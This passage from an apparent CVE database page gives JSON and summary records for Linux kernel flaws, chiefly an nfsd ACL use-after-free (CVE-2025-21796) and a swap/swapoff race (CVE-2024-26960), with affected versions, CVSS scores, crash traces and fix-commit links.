              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "1fd94884174bd20beb1773990fd3b1aa877688d9",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "7faf14a7b0366f153284db0ad3347c457ea70136",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs2acl.c",
            "fs/nfsd/nfs3acl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.13"
            },
            {
              "lessThan": "2.6.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: clear acl_access/acl_default after releasing them\n\nIf getting acl_default fails, acl_access and acl_default will be released\nsimultaneously. However, acl_access will still retain a pointer pointing\nto the released posix_acl, which will trigger a WARNING in\nnfs3svc_release_getacl like this:\n\n------------[ cut here ]------------\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 26 PID: 3199 at lib/refcount.c:28\nrefcount_warn_saturate+0xb5/0x170\nModules linked in:\nCPU: 26 UID: 0 PID: 3199 Comm: nfsd Not tainted\n6.12.0-rc6-00079-g04ae226af01f-dirty #8\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.16.1-2.fc37 04/01/2014\nRIP: 0010:refcount_warn_saturate+0xb5/0x170\nCode: cc cc 0f b6 1d b3 20 a5 03 80 fb 01 0f 87 65 48 d8 00 83 e3 01 75\ne4 48 c7 c7 c0 3b 9b 85 c6 05 97 20 a5 03 01 e8 fb 3e 30 ff \u003c0f\u003e 0b eb\ncd 0f b6 1d 8a3\nRSP: 0018:ffffc90008637cd8 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff83904fde\nRDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88871ed36380\nRBP: ffff888158beeb40 R08: 0000000000000001 R09: fffff520010c6f56\nR10: ffffc90008637ab7 R11: 0000000000000001 R12: 0000000000000001\nR13: ffff888140e77400 R14: ffff888140e77408 R15: ffffffff858b42c0\nFS:  0000000000000000(0000) GS:ffff88871ed00000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000562384d32158 CR3: 000000055cc6a000 CR4: 00000000000006f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n ? refcount_warn_saturate+0xb5/0x170\n ? __warn+0xa5/0x140\n ? refcount_warn_saturate+0xb5/0x170\n ? report_bug+0x1b1/0x1e0\n ? handle_bug+0x53/0xa0\n ? exc_invalid_op+0x17/0x40\n ? asm_exc_invalid_op+0x1a/0x20\n ? tick_nohz_tick_stopped+0x1e/0x40\n ? refcount_warn_saturate+0xb5/0x170\n ? refcount_warn_saturate+0xb5/0x170\n nfs3svc_release_getacl+0xc9/0xe0\n svc_process_common+0x5db/0xb60\n ? __pfx_svc_process_common+0x10/0x10\n ? __rcu_read_unlock+0x69/0xa0\n ? __pfx_nfsd_dispatch+0x10/0x10\n ? svc_xprt_received+0xa1/0x120\n ? xdr_init_decode+0x11d/0x190\n svc_process+0x2a7/0x330\n svc_handle_xprt+0x69d/0x940\n svc_recv+0x180/0x2d0\n nfsd+0x168/0x200\n ? __pfx_nfsd+0x10/0x10\n kthread+0x1a2/0x1e0\n ? kthread+0xf4/0x1e0\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x34/0x60\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n \u003c/TASK\u003e\nKernel panic - not syncing: kernel: panic_on_warn set ...\n\nClear acl_access/acl_default after posix_acl_release is called to prevent\nUAF from being triggered."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:39.968Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8a1737ae42c928384ab6447f6ee1a882510e85fa"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f7cfee1a316891890c505563aa54f3476db52fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e59b2b68782519560b3d6a41dd66a3d01a01cd3"
        },
        {
          "url": "https://git.kernel.org/stable/c/55d947315fb5f67a35e4e1d3e01bb886b9c6decf"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8d871523142f7895f250a856f8c4a4181614510"
        },
        {
          "url": "https://git.kernel.org/stable/c/1fd94884174bd20beb1773990fd3b1aa877688d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/7faf14a7b0366f153284db0ad3347c457ea70136"
        }
      ],
      "title": "nfsd: clear acl_access/acl_default after releasing them",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21796",
    "datePublished": "2025-02-27T02:18:32.191Z",
    "dateReserved": "2024-12-29T08:45:45.768Z",
    "dateUpdated": "2026-05-12T12:03:56.109Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26960 (GCVE-0-2024-26960)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:19 – Updated: 2026-05-12 11:50

Title

mm: swap: fix race between free_swap_and_cache() and swapoff()

Summary

In the Linux kernel, the following vulnerability has been resolved: mm: swap: fix race between free_swap_and_cache() and swapoff() There was previously a theoretical window where swapoff() could run and teardown a swap_info_struct while a call to free_swap_and_cache() was running in another thread. This could cause, amongst other bad possibilities, swap_page_trans_huge_swapped() (called by free_swap_and_cache()) to access the freed memory for swap_map. This is a theoretical problem and I haven't been able to provoke it from a test case. But there has been agreement based on code review that this is possible (see link below). Fix it by using get_swap_device()/put_swap_device(), which will stall swapoff(). There was an extra check in _swap_info_get() to confirm that the swap entry was not free. This isn't present in get_swap_device() because it doesn't make sense in general due to the race between getting the reference and swapoff. So I've added an equivalent check directly in free_swap_and_cache(). Details of how to provoke one possible issue (thanks to David Hildenbrand for deriving this): --8<----- __swap_entry_free() might be the last user and result in "count == SWAP_HAS_CACHE". swapoff->try_to_unuse() will stop as soon as soon as si->inuse_pages==0. So the question is: could someone reclaim the folio and turn si->inuse_pages==0, before we completed swap_page_trans_huge_swapped(). Imagine the following: 2 MiB folio in the swapcache. Only 2 subpages are still references by swap entries. Process 1 still references subpage 0 via swap entry. Process 2 still references subpage 1 via swap entry. Process 1 quits. Calls free_swap_and_cache(). -> count == SWAP_HAS_CACHE [then, preempted in the hypervisor etc.] Process 2 quits. Calls free_swap_and_cache(). -> count == SWAP_HAS_CACHE Process 2 goes ahead, passes swap_page_trans_huge_swapped(), and calls __try_to_reclaim_swap(). __try_to_reclaim_swap()->folio_free_swap()->delete_from_swap_cache()-> put_swap_folio()->free_swap_slot()->swapcache_free_entries()-> swap_entry_free()->swap_range_free()-> ... WRITE_ONCE(si->inuse_pages, si->inuse_pages - nr_entries); What stops swapoff to succeed after process 2 reclaimed the swap cache but before process1 finished its call to swap_page_trans_huge_swapped()? --8<-----

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/d85c11c97ecf92d47…
https://git.kernel.org/stable/c/2da5568ee222ce054…
https://git.kernel.org/stable/c/1ede7f1d7eed1738d…
https://git.kernel.org/stable/c/0f98f6d2fb5fad00f…
https://git.kernel.org/stable/c/3ce4c4c653e4e478e…
https://git.kernel.org/stable/c/363d17e7f7907c8e2…
https://git.kernel.org/stable/c/82b1c07a0af603e3c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < d85c11c97ecf92d47a4b29e3faca714dc1f18d0d (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 2da5568ee222ce0541bfe446a07998f92ed1643e (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 1ede7f1d7eed1738d1b9333fd1e152ccb450b86a (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 0f98f6d2fb5fad00f8299b84b85b6bc1b6d7d19a (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 3ce4c4c653e4e478ecb15d3c88e690f12cbf6b39 (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 363d17e7f7907c8e27a9e86968af0eaa2301787b (git) Affected: 7c00bafee87c7bac7ed9eced7c161f8e5332cb4e , < 82b1c07a0af603e3c47b906c8e991dc96f01688e (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "d85c11c97ecf",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "2da5568ee222",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "1ede7f1d7eed",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "0f98f6d2fb5f",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "3ce4c4c653e4",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "363d17e7f790",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "82b1c07a0af6",
                "status": "affected",
                "version": "7c00bafee87c",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.11",
                "status": "unaffected",
                "version": "5.10.215",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.2",
                "status": "unaffected",
                "version": "6.1.84",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.7",
                "status": "unaffected",
                "version": "6.6.24",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.9",
                "status": "unaffected",
                "version": "6.8.3",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4.11",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:4.11:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "4.11"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.16",
                "status": "unaffected",
                "version": "5.15.154",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.8",
                "status": "unaffected",
                "version": "6.7.12",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26960",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-05T21:09:23.358079Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-05T21:09:44.704Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:06.048Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d85c11c97ecf92d47a4b29e3faca714dc1f18d0d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2da5568ee222ce0541bfe446a07998f92ed1643e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ede7f1d7eed1738d1b9333fd1e152ccb450b86a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0f98f6d2fb5fad00f8299b84b85b6bc1b6d7d19a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3ce4c4c653e4e478ecb15d3c88e690f12cbf6b39"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/363d17e7f7907c8e27a9e86968af0eaa2301787b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/82b1c07a0af603e3c47b906c8e991dc96f01688e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:50.097Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "mm/swapfile.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d85c11c97ecf92d47a4b29e3faca714dc1f18d0d",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "2da5568ee222ce0541bfe446a07998f92ed1643e",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "1ede7f1d7eed1738d1b9333fd1e152ccb450b86a",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "0f98f6d2fb5fad00f8299b84b85b6bc1b6d7d19a",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "3ce4c4c653e4e478ecb15d3c88e690f12cbf6b39",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "363d17e7f7907c8e27a9e86968af0eaa2301787b",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            },
            {
              "lessThan": "82b1c07a0af603e3c47b906c8e991dc96f01688e",
              "status": "affected",
              "version": "7c00bafee87c7bac7ed9eced7c161f8e5332cb4e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "mm/swapfile.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: swap: fix race between free_swap_and_cache() and swapoff()\n\nThere was previously a theoretical window where swapoff() could run and\nteardown a swap_info_struct while a call to free_swap_and_cache() was\nrunning in another thread.  This could cause, amongst other bad\npossibilities, swap_page_trans_huge_swapped() (called by\nfree_swap_and_cache()) to access the freed memory for swap_map.\n\nThis is a theoretical problem and I haven\u0027t been able to provoke it from a\ntest case.  But there has been agreement based on code review that this is\npossible (see link below).\n\nFix it by using get_swap_device()/put_swap_device(), which will stall\nswapoff().  There was an extra check in _swap_info_get() to confirm that\nthe swap entry was not free.  This isn\u0027t present in get_swap_device()\nbecause it doesn\u0027t make sense in general due to the race between getting\nthe reference and swapoff.  So I\u0027ve added an equivalent check directly in\nfree_swap_and_cache().\n\nDetails of how to provoke one possible issue (thanks to David Hildenbrand\nfor deriving this):\n\n--8\u003c-----\n\n__swap_entry_free() might be the last user and result in\n\"count == SWAP_HAS_CACHE\".\n\nswapoff-\u003etry_to_unuse() will stop as soon as soon as si-\u003einuse_pages==0.\n\nSo the question is: could someone reclaim the folio and turn\nsi-\u003einuse_pages==0, before we completed swap_page_trans_huge_swapped().\n\nImagine the following: 2 MiB folio in the swapcache. Only 2 subpages are\nstill references by swap entries.\n\nProcess 1 still references subpage 0 via swap entry.\nProcess 2 still references subpage 1 via swap entry.\n\nProcess 1 quits. Calls free_swap_and_cache().\n-\u003e count == SWAP_HAS_CACHE\n[then, preempted in the hypervisor etc.]\n\nProcess 2 quits. Calls free_swap_and_cache().\n-\u003e count == SWAP_HAS_CACHE\n\nProcess 2 goes ahead, passes swap_page_trans_huge_swapped(), and calls\n__try_to_reclaim_swap().\n\n__try_to_reclaim_swap()-\u003efolio_free_swap()-\u003edelete_from_swap_cache()-\u003e\nput_swap_folio()-\u003efree_swap_slot()-\u003eswapcache_free_entries()-\u003e\nswap_entry_free()-\u003eswap_range_free()-\u003e\n...\nWRITE_ONCE(si-\u003einuse_pages, si-\u003einuse_pages - nr_entries);\n\nWhat stops swapoff to succeed after process 2 reclaimed the swap cache\nbut before process1 finished its call to swap_page_trans_huge_swapped()?\n\n--8\u003c-----"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:42.928Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d85c11c97ecf92d47a4b29e3faca714dc1f18d0d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2da5568ee222ce0541bfe446a07998f92ed1643e"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ede7f1d7eed1738d1b9333fd1e152ccb450b86a"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f98f6d2fb5fad00f8299b84b85b6bc1b6d7d19a"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ce4c4c653e4e478ecb15d3c88e690f12cbf6b39"
        },
        {
          "url": "https://git.kernel.org/stable/c/363d17e7f7907c8e27a9e86968af0eaa2301787b"
        },
        {
          "url": "https://git.kernel.org/stable/c/82b1c07a0af603e3c47b906c8e991dc96f01688e"
        }
      ],
      "title": "mm: swap: fix race between free_swap_and_cache() and swapoff()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26960",
    "datePublished": "2024-05-01T05:19:12.112Z",
    "dateReserved": "2024-02-19T14:20:24.201Z",
    "dateUpdated": "2026-05-12T11:50:50.097Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35902 (GCVE-0-2024-35902)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

net/rds: fix possible cp null dereference

Summary

